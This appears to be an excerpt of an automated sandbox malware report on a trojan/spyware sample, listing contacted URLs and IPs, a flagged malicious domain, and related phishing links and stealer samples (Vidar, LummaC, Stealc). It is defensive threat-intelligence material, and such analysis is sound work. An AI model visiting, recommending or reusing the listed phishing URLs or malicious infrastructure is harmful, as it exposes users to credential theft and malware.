http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000014.00000003.1975148309.000062540340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974550041.0000625403364000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1972586703.0000625403284000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1973229838.0000625403130000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1973087194.0000625403294000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1973210052.00006254032E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974091902.0000625403158000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1973281183.00006254032B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974430350.00006254025B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974003710.0000625402BAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2054191462.00006254024F7000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974032381.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://labs.google.com/search?source=ntp	chrome.exe, 00000014.00000002.2055150861.0000625402674000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1987654415.0000625403624000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1988611758.0000625403658000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1987571221.000062540361C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1987437868.0000625403580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1987731731.000062540362C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1988376152.0000625403580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1988324152.00006254034E4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000014.00000003.1960345491.000016880071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1999012502.0000168800974000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1996954283.000062540380C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1960473803.0000168800728000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-5.corp.go	chrome.exe, 00000014.00000002.2054318251.0000625402510000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://anglebug.com/5901	chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3965	chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7161	chrome.exe, 00000014.00000003.1967741173.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/7162	chrome.exe, 00000014.00000003.1967741173.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5906	chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/2517	chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://permanently-removed.invalid/MergeSession	msedge.exe, 00000018.00000003.2092778734.00007DEC00268000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/4937	chrome.exe, 00000014.00000003.1967741173.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061150428.0000625402E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://issuetracker.google.com/166809097	chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2062430977.0000625402FF4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lens.google.com/v3/upload	chrome.exe, 00000014.00000003.1960935235.0000168800878000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/3832	chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.comAccess-Control-Allow-Credentials:	chrome.exe, 00000014.00000003.1980945285.00006254024A4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://drive-daily-0.corp.google.com/	chrome.exe, 00000014.00000003.1963950149.00006254026B0000.00000004.00000800.00020000.00000000.sdmp, manifest.json.26.dr	false		high
https://permanently-removed.invalid/Logout	msedge.exe, 00000018.00000003.2092707753.00007DEC00264000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2093085464.00007DEC0026C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2092778734.00007DEC00268000.00000004.00000800.00020000.00000000.sdmp	false		high
https://lens.google.com/upload	chrome.exe, 00000014.00000003.1975148309.000062540340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974550041.0000625403364000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1974430350.00006254025B4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.google.com/document/?usp=installed_webapp	chrome.exe, 00000014.00000002.2063345327.00006254031C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2059729634.0000625402C1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061075589.0000625402DE0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2057087087.00006254028C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2062584021.0000625403014000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/6651	chrome.exe, 00000014.00000003.1967741173.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061150428.0000625402E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://anglebug.com/4830	chrome.exe, 00000014.00000003.1967741173.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.youtube.com/:	chrome.exe, 00000014.00000002.2057087087.00006254028C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://mail.google.com/mail/	chrome.exe, 00000014.00000002.2065006385.0000625403DA4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://myaccount.google.com/shielded-email2B	chrome.exe, 00000014.00000003.1996954283.000062540380C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://vikine.resttL	Rna.com, 0000000D.00000002.2664591239.000000000117A000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://www.google.com/tools/feedback/chrome/__submit	chrome.exe, 00000014.00000002.2055411605.00006254026D0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/2162	chrome.exe, 00000014.00000003.1967741173.0000625402FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000003.1967709629.0000625402580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000014.00000002.2061150428.0000625402E0C000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anglebug.com/5430	chrome.exe, 00000014.00000002.2060951547.0000625402D7C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google-ohttp-relay-join.fastly-edge.com/Enabled_Notice_M1_AllAPIs_GA4Kids_Stable_20230830htt	chrome.exe, 00000014.00000002.2047313197.0000168800920000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
2.23.209.34	e28578.d.akamaiedge.net	European Union	1273	CWVodafoneGroupPLCEU	false
216.58.212.142	plus.l.google.com	United States	15169	GOOGLEUS	false
23.200.88.34	unknown	United States	16625	AKAMAI-ASUS	false
5.75.214.119	vikine.rest	Germany	24940	HETZNER-ASDE	true
2.22.242.11	a416.dscd.akamai.net	European Union	20940	AKAMAI-ASN1EU	false
23.219.82.75	unknown	United States	20940	AKAMAI-ASN1EU	false
104.126.116.11	unknown	United States	20940	AKAMAI-ASN1EU	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
13.74.129.1	c-msn-pme.trafficmanager.net	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.32	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
142.250.185.238	play.google.com	United States	15169	GOOGLEUS	false
172.217.18.1	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
18.164.116.122	unknown	United States	3	MIT-GATEWAYSUS	false
172.217.16.132	www.google.com	United States	15169	GOOGLEUS	false
204.79.197.203	a-0003.a-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
13.89.179.9	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.8
192.168.2.4
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1609435
Start date and time:	2025-02-07 17:41:59 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	random.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@86/306@29/23
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 82 Number of non-executed functions: 301
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.22.50.136, 2.23.77.188, 142.250.185.131, 142.250.186.78, 108.177.15.84, 142.250.184.238, 216.58.206.67, 142.250.186.46, 142.250.186.138, 142.250.186.74, 142.250.185.74, 142.250.186.42, 142.250.184.202, 172.217.16.202, 142.250.185.234, 142.250.185.202, 142.250.186.170, 142.250.181.234, 142.250.184.234, 216.58.206.42, 142.250.186.106, 142.250.185.170, 142.250.185.106, 142.250.185.138, 142.250.185.110, 13.107.42.16, 142.250.185.142, 13.107.6.158, 13.107.21.239, 204.79.197.239, 48.209.144.71, 88.221.110.179, 88.221.110.195, 2.21.65.132, 2.21.65.154, 2.19.126.151, 2.19.126.157, 20.93.72.182, 2.22.242.82, 2.22.242.121, 142.251.40.163, 142.251.35.163, 20.12.23.50, 184.28.90.27, 23.206.229.226, 94.245.104.56, 40.126.31.129, 13.107.246.38, 150.171.27.10, 104.117.182.59, 20.25.227.174, 104.117.182.153
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, config.edge.skype.com.trafficmanager.net, slscr.update.microsoft.com, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, redirector.gvt1.com, www.bing.com.edgekey.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, th.bing.com, www.gstatic.com, l-0007.l-msedge.net, config.edge.skype.com, www.bing.com, edge-microsoft-com.dual-a-0036.a-msedge.net, fs.microsoft.com, accounts.google.com, bingadsedgeextension-prod.trafficmanager.net, th.bing.com.edgekey.net, api.edgeoffer.microsoft.com, star.sb.tlu.dl.delivery.mp.microsoft.com.edgesuite.net, ctldl.windowsupdate.com, ogads-pa.googleapis.com, p-th.bing.com.trafficmanager.net, b-0005.b-msedge.net, prod-atm-wds-edge.trafficmanager.net, prod-agic-ne-2.northeurope.clou
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
11:42:57	API Interceptor	1x Sleep call for process: random.exe modified
11:43:01	API Interceptor	10x Sleep call for process: Rna.com modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
2.23.209.34	https://kdnsedbclf.rocmodulaar.com/redirect/.red/.off/DEICIWEDGK/GKZFVHJQRB/WYMJACWTFQ	Get hash	malicious	HTMLPhisher	Browse
	https://vqr.vc/YdvOeCQGb	Get hash	malicious	HTMLPhisher	Browse
	https://stonewoodinvestmentssmartviewaccess.uscourtfiles.com/QGL2K	Get hash	malicious	HTMLPhisher	Browse
	https://tdn.docshostingservice.com/WeQiU	Get hash	malicious	HTMLPhisher	Browse
	http://hr.cuassistance.org/login/login.php	Get hash	malicious	Unknown	Browse
	https://ipfs.io/ipfs/Qmairr5VbGqYuZovUcw9rWWTMy6uCYZJtKdyb1PHBpaMzr	Get hash	malicious	HTMLPhisher	Browse
	https://supportsystem-customerservice.github.io/newhot/lit%20(2).html	Get hash	malicious	HTMLPhisher	Browse
	(No subject).eml	Get hash	malicious	Unknown	Browse
	https://eminentpr.com/?nnt=dG9ueWEuZ3JlZW5sZXlAc3BvbmdlLWN1c2hpb24uY29tLS0tLUNoYWQgU2ltbW9ucw==	Get hash	malicious	HTMLPhisher	Browse
	https://www.iopp.org/i4a/utilities/banner-log.cfm?ID=74&webURL=%68%74%74%70%73%3A%2F%2F%76%69%65%77%2E%6D%69%63%72%6F%73%6F%66%74%6F%6E%6C%69%6E%65%2E%63%6F%6D%6F%75%75%74%68%68%63%6C%69%65%65%6E%74%2E%74%6F%70%2F%6F%72%67%61%6E%69%7A%61%74%69%6F%6E%73%2F%6F%61%75%74%68%32%2F%76%32%2E%30%2F%61%75%74%68%6F%72%69%7A%65%2F%63%6C%69%65%6E%74%69%64%34%37%36%35%39%34%30%62%33%32%63%36%34%39%39%34%39%35%39%35%36%33%38%34%35%34%35%32%33%34%36%31%33%35%36%31%36%38%33%36%31%30%30%34%32%4F%47%54%4C%50%51%58%59	Get hash	malicious	HTMLPhisher	Browse
23.200.88.34	https://netorg5340145-my.sharepoint.com/:b:/g/personal/info_curreg_com/ERWUgunUKWdDoEpnpewg4S0BeV_zc9P4BqPEDSGk7NgP5Q?e=vHfJIQ	Get hash	malicious	Unknown	Browse
5.75.214.119	hX2c2UOBSX.exe	Get hash	malicious	Vidar	Browse
2.22.242.11	NF_e.msi	Get hash	malicious	AteraAgent	Browse
	7OmeyJ9pug.lnk	Get hash	malicious	Unknown	Browse
	Document-0191536.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse
	82.msi	Get hash	malicious	Unknown	Browse
	unins000.exe	Get hash	malicious	Vidar	Browse
	uwmC39FNho.exe	Get hash	malicious	Remcos	Browse
23.219.82.75	vm8F3uhSzG.exe	Get hash	malicious	Vidar	Browse
	CLOlOswCpi.msi	Get hash	malicious	Unknown	Browse
	trZG6pItZj.exe	Get hash	malicious	Vidar	Browse
	dZKPE9gotO.exe	Get hash	malicious	Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse
104.126.116.11	Documenti relativi alla violazione dei diritti di propriet#U00e0 intellettuale.lnk	Get hash	malicious	RHADAMANTHYS	Browse
104.126.116.11	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
t.me	http://vtqkzgxpcym.wiki/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	http://tmbzpwoqknhjy.wang/	Get hash	malicious	Unknown	Browse	149.154.167.99
	http://skbtzgxlwajhp.link/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	http://memuralfi.ink/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	http://prfwzxyqvbhlg.work/	Get hash	malicious	Telegram Phisher	Browse	149.154.167.99
	hfzMMKRr0e.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	149.154.167.99
	hX2c2UOBSX.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	8sjNRdoJng.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	149.154.167.99
	c3QebhWPbe.exe	Get hash	malicious	Amadey, GCleaner, Healer AV Disabler, KeyLogger, LummaC Stealer, Stealc, StormKitty	Browse	149.154.167.99
chrome.cloudflare-dns.com	GUI.for.SingBox.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	SecuriteInfo.com.Win64.Evo-gen.13578.12741.exe	Get hash	malicious	RHADAMANTHYS	Browse	172.64.41.3
	hfzMMKRr0e.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	172.64.41.3
	hX2c2UOBSX.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	ijTwgZFLCu.lnk	Get hash	malicious	Unknown	Browse	162.159.61.3
	8sjNRdoJng.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	172.64.41.3
	HFONAfX2aC.lnk	Get hash	malicious	Unknown	Browse	172.64.41.3
	5o5R0tox6x.exe	Get hash	malicious	Vidar	Browse	172.64.41.3
	Jjswaste Pr0ject.svg	Get hash	malicious	Unknown	Browse	172.64.41.3
a416.dscd.akamai.net	hfzMMKRr0e.exe	Get hash	malicious	Amadey, AsyncRAT, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, Vidar	Browse	2.19.126.152
	hX2c2UOBSX.exe	Get hash	malicious	Vidar	Browse	2.19.126.145
	ijTwgZFLCu.lnk	Get hash	malicious	Unknown	Browse	2.19.126.145
	8sjNRdoJng.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	2.19.126.152
	HFONAfX2aC.lnk	Get hash	malicious	Unknown	Browse	2.19.126.152
	5o5R0tox6x.exe	Get hash	malicious	Vidar	Browse	2.19.126.145
	Jjswaste Pr0ject.svg	Get hash	malicious	Unknown	Browse	2.19.11.100
	cjrimgid.exe	Get hash	malicious	Vidar	Browse	2.22.242.105
	7OmeyJ9pug.lnk	Get hash	malicious	Unknown	Browse	2.22.242.11
	dOuC8iH5As.exe	Get hash	malicious	Vidar	Browse	2.19.126.152

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	3MnerqRZQh.exe	Get hash	malicious	FormBook	Browse	136.243.64.147
	99UbUXnwA9.exe	Get hash	malicious	FormBook	Browse	144.76.229.203
	mnojiyyWfG.exe	Get hash	malicious	FormBook	Browse	144.76.229.203
	xBA5hw2TjG.exe	Get hash	malicious	FormBook	Browse	5.161.107.251
	jVxEM7I2hF.exe	Get hash	malicious	Quasar	Browse	195.201.57.90
	MkLWmSIwGK.exe	Get hash	malicious	FormBook	Browse	148.251.114.233
	tWEAT1G71C.exe	Get hash	malicious	FormBook	Browse	136.243.64.147
	CmkB1sJyK9.exe	Get hash	malicious	FormBook	Browse	136.243.225.5
	CSLWDfAbtG.exe	Get hash	malicious	FormBook	Browse	5.161.107.251
CWVodafoneGroupPLCEU	zHH1eSjWTK.exe	Get hash	malicious	Unknown	Browse	2.23.197.184
	ZumHVoVnxD.exe	Get hash	malicious	GhostRat	Browse	2.23.197.184
	https://kdnsedbclf.rocmodulaar.com/redirect/.red/.off/DEICIWEDGK/GKZFVHJQRB/WYMJACWTFQ	Get hash	malicious	HTMLPhisher	Browse	2.23.209.17
	https://mailtrack.io/l/f417f9a1ba0740bbe0f8b9fcdcdd50bf6dcca2af	Get hash	malicious	HTMLPhisher	Browse	2.23.209.38
	06FEB2025.IMAGE.pdf	Get hash	malicious	HTMLPhisher	Browse	2.23.197.184
	phish_alert_iocp_v1.4.48 (39).eml	Get hash	malicious	HTMLPhisher	Browse	2.23.197.184
	Employee@RLee-036.pdf	Get hash	malicious	Unknown	Browse	2.23.197.184
	https://vqr.vc/YdvOeCQGb	Get hash	malicious	HTMLPhisher	Browse	2.23.209.34
	https://myaccount.microsoft.com/groups/action?tid=975c0940-6ee1-4da8-8016-f00c9fc8476f&groupId=84faba4d-72f7-4308-957c-501dcbdb1f58&action=Renew	Get hash	malicious	Unknown	Browse	2.23.209.25
	https://stonewoodinvestmentssmartviewaccess.uscourtfiles.com/QGL2K	Get hash	malicious	HTMLPhisher	Browse	2.23.209.17
AKAMAI-ASN1EU	SecuriteInfo.com.Trojan.Siggen20.61251.8349.26717.exe	Get hash	malicious	ScreenConnect Tool	Browse	2.22.242.226
	http://%5B%22https://nam02.safelinks.protection.outlook.com/?url=https%3A%2F%2Femail.bcbssettlement.com%2Fc%2FeJxkzL1OwzAQAOCnscfIPv9m8IAgERVqQRTm6OxcVaPERcnB87Owdf_0zclG8M5JSjqY2Gvd91FekzYqO3LxgkXb4rxykA1hCME4F0KRNYECp0AFFZQ3sQNvvLUzImU7a62FVbnkfSfmhVZq3JXbKpd0Zf7ehXkQMAoYdyo_G3X3UsA4E9O21oZcb01u6YuwUaOON7zUgo1JWIVLrv83p_Pzy_T2PhwPn8fp9PpxeBym83B6kr8J_gIAAP__kjFIFA&data=05%7C02%7Cjeanene.traficante%40albint.com%7C1fdf299aa52a4a651cc208dd4745f85b%7Cff3d33ae31364152812675e51f4a1404%7C0%7C0%7C638745088046675413%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ%3D%3D%7C0%7C%7C%7C&sdata=fGCIRyUUbeFPm7FcRl%2FZ7oH%2FXi3jt5H1pOFROm4%2BJoY%3D&reserved=0%22,%20%222f9fb485af706049f5d23654ae36fb8f%22%5D	Get hash	malicious	Unknown	Browse	95.101.149.35
	https://saber-mercurial-tang.glitch.me/ONENOTE.html	Get hash	malicious	HTMLPhisher	Browse	95.101.149.160
	https://www.flugger.pl/	Get hash	malicious	Unknown	Browse	2.22.50.205
	Ohio.mp4	Get hash	malicious	Unknown	Browse	95.101.148.7
	Ohio.mp4	Get hash	malicious	Unknown	Browse	95.101.148.7
	http://upholldlogin.godaddysites.com/	Get hash	malicious	Unknown	Browse	2.19.96.250
	https://stemcommunuity.com/87b9a9ed76bcb7367b5aa0f03eceebbd/c3RlbWNvbW1tdW51dGx5LmNvbQ==/aHR0cDovL3N0ZW1jb21tdW51aXR5LmNvbS9nbGZ0Lzc2MTI2MzEyMzUxMjM0	Get hash	malicious	Unknown	Browse	95.101.149.47
	http://stemcommunuity.com/glft/76126312351234	Get hash	malicious	Unknown	Browse	95.101.149.47
AKAMAI-ASUS	random.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	SecuriteInfo.com.Trojan.Siggen20.61251.8349.26717.exe	Get hash	malicious	ScreenConnect Tool	Browse	2.19.126.136
	DH1g7hYSFR.exe	Get hash	malicious	LummaC	Browse	104.102.49.254
	http://%5B%22https://nam02.safelinks.protection.outlook.com/?url=https%3A%2F%2Femail.bcbssettlement.com%2Fc%2FeJxkzL1OwzAQAOCnscfIPv9m8IAgERVqQRTm6OxcVaPERcnB87Owdf_0zclG8M5JSjqY2Gvd91FekzYqO3LxgkXb4rxykA1hCME4F0KRNYECp0AFFZQ3sQNvvLUzImU7a62FVbnkfSfmhVZq3JXbKpd0Zf7ehXkQMAoYdyo_G3X3UsA4E9O21oZcb01u6YuwUaOON7zUgo1JWIVLrv83p_Pzy_T2PhwPn8fp9PpxeBym83B6kr8J_gIAAP__kjFIFA&data=05%7C02%7Cjeanene.traficante%40albint.com%7C1fdf299aa52a4a651cc208dd4745f85b%7Cff3d33ae31364152812675e51f4a1404%7C0%7C0%7C638745088046675413%7CUnknown%7CTWFpbGZsb3d8eyJFbXB0eU1hcGkiOnRydWUsIlYiOiIwLjAuMDAwMCIsIlAiOiJXaW4zMiIsIkFOIjoiTWFpbCIsIldUIjoyfQ%3D%3D%7C0%7C%7C%7C&sdata=fGCIRyUUbeFPm7FcRl%2FZ7oH%2FXi3jt5H1pOFROm4%2BJoY%3D&reserved=0%22,%20%222f9fb485af706049f5d23654ae36fb8f%22%5D	Get hash	malicious	Unknown	Browse	104.102.34.86
	Policies_Handbook_2025_Revised.pdf	Get hash	malicious	Unknown	Browse	184.28.88.176
	https://barclays-the-chinese-spirits-industry-expert-feb-2025.open-exchange.net/	Get hash	malicious	Unknown	Browse	2.16.202.120
	https://saber-mercurial-tang.glitch.me/ONENOTE.html	Get hash	malicious	HTMLPhisher	Browse	184.28.89.233
	20250207_053226_E6u1qLnksPUaNqBWpzwaWHyyc9Li2HA3.eml	Get hash	malicious	Unknown	Browse	2.19.126.151
	https://exsrtra-cancellesd.com/	Get hash	malicious	HTMLPhisher	Browse	104.102.43.106
	http://upholldlogin.godaddysites.com/	Get hash	malicious	Unknown	Browse	23.38.98.115

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
37f463bf4616ecd445d4a1937da06e19	KI2TC403469M29HH3Z3QDLRSHS.dll.dll	Get hash	malicious	Latrodectus	Browse	5.75.214.119 149.154.167.99
	0Jh86ErLzV.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	5.75.214.119 149.154.167.99
	SBnIqnD6ap.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	5.75.214.119 149.154.167.99
	62ymqatXRt.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	5.75.214.119 149.154.167.99
	CdL8Vi5z8O.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	5.75.214.119 149.154.167.99
	kJpqSA2IOT.exe	Get hash	malicious	FormBook, GuLoader	Browse	5.75.214.119 149.154.167.99
	kjjA3Ebw2c.exe	Get hash	malicious	Unknown	Browse	5.75.214.119 149.154.167.99
	KWbWCYe6LB.exe	Get hash	malicious	GuLoader	Browse	5.75.214.119 149.154.167.99
	kjjA3Ebw2c.exe	Get hash	malicious	Unknown	Browse	5.75.214.119 149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\g4opz\mycj5f	hX2c2UOBSX.exe	Get hash	malicious	Vidar	Browse
	dOuC8iH5As.exe	Get hash	malicious	Vidar	Browse
	SQ1NgqeTQy.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, KeyLogger, LummaC Stealer, Stealc, StormKitty	Browse
	1l1ohfybAf.exe	Get hash	malicious	Vidar	Browse
	random.exe	Get hash	malicious	Vidar	Browse
	2E02vIiMfd.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, PureLog Stealer, Socks5Systemz, Vidar	Browse
	random.exe	Get hash	malicious	Vidar	Browse
	25xTHcaF7V.exe	Get hash	malicious	Vidar	Browse
	test.hta	Get hash	malicious	Vidar	Browse
	din.exe	Get hash	malicious	Vidar	Browse

Created / dropped Files

C:\ProgramData\g4opz\00hl68

Download File

Process:	C:\Users\user\AppData\Local\Temp\190244\Rna.com
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1468
